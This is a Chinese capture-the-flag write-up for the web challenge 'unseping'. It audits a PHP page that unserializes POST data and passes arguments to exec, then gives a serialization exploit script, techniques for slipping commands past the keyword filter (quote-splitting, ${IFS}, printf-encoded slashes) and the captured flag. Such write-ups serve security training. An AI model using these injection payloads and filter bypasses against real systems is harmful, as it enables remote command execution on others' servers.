攻防世界-Web-unseping

知识点

1.php反序列化

2.命令执行绕过

步骤

打开网站,是php代码,审计。

php 复制代码
<?php
highlight_file(__FILE__);

class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) { //初始化
        $this->method = $method;
        $this->args = $args;
    }
 
    function __destruct(){ 
        if (in_array($this->method, array("ping"))) { //判断method是否存在ping
            call_user_func_array(array($this, $this->method), $this->args); //调用method,参数为args
        }
    } 
 
    function ping($ip){
        exec($ip, $result); //执行ip,结果为result,并输出
        var_dump($result);
    }

    function waf($str){ //过滤函数,过滤了,/,cat,flag等
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }
 
    function __wakeup(){ //调用waf,反序列化时调用
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   
}

$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>

综上,post接受ctf数据,将method为ping,参数为要执行的命令,并绕过waf。

注意:这里的参数是数组,因为在__wakeup中foreach是k,v的形式。

1.基本反序列化代码

php 复制代码
<?php

class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
 
    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 
 
    function ping($ip){
        exec($ip, $result);
        var_dump($result);
    }

    function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }
 
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   
}

$a = new ease('ping',array('ls')); 
$b = serialize($a);
echo($b);
echo(base64_encode($b));
?>

2.绕过ls

使用l""s或者l''s

3.绕过空格

使用${IFS}

4.绕过/

使用$(printf "\57")

flag{de2e33ce-fdfe-4132-87ba-3b97d641a9f7}

相关推荐
曲幽4 小时前
FastAPI登录验证:用OAuth2与JWT构筑你的API安全防线
python·fastapi·web·jwt·token·oauth2
bleach-5 小时前
buuctf系列解题思路祥讲--[SUCTF 2019]CheckIn1--文件上传以及user.ini的应用
nginx·web安全·网络安全·php
视觉&物联智能5 小时前
【杂谈】-人工智能在风险管理中的应用:愿景与现实的差距
人工智能·网络安全·ai·aigc·agi
Bruce_Liuxiaowei5 小时前
内网探测常用技术方法整理
网络·安全·网络安全
小李独爱秋5 小时前
计算机网络经典问题透视:MD5报文是什么?有什么特点?
网络·网络协议·计算机网络·网络安全·信息与通信·信号处理
南行*6 小时前
C语言Linux环境编程
linux·c语言·开发语言·网络安全
南行*6 小时前
MSF安全开发
安全·网络安全·系统安全·ruby
Whoami!10 小时前
❿⁄₇ ⟦ OSCP ⬖ 研记 ⟧ 密码攻击 ➱ 提取密码管理器KeePass主密码(下)
网络安全·信息安全·哈希算法·密码破解·keepass
沈浩(种子思维作者)15 小时前
真的能精准医疗吗?癌症能提前发现吗?
人工智能·python·网络安全·健康医疗·量子计算
vortex518 小时前
Wfuzz 全面使用指南:Web 应用模糊测试工具详解
网络安全·渗透测试·kali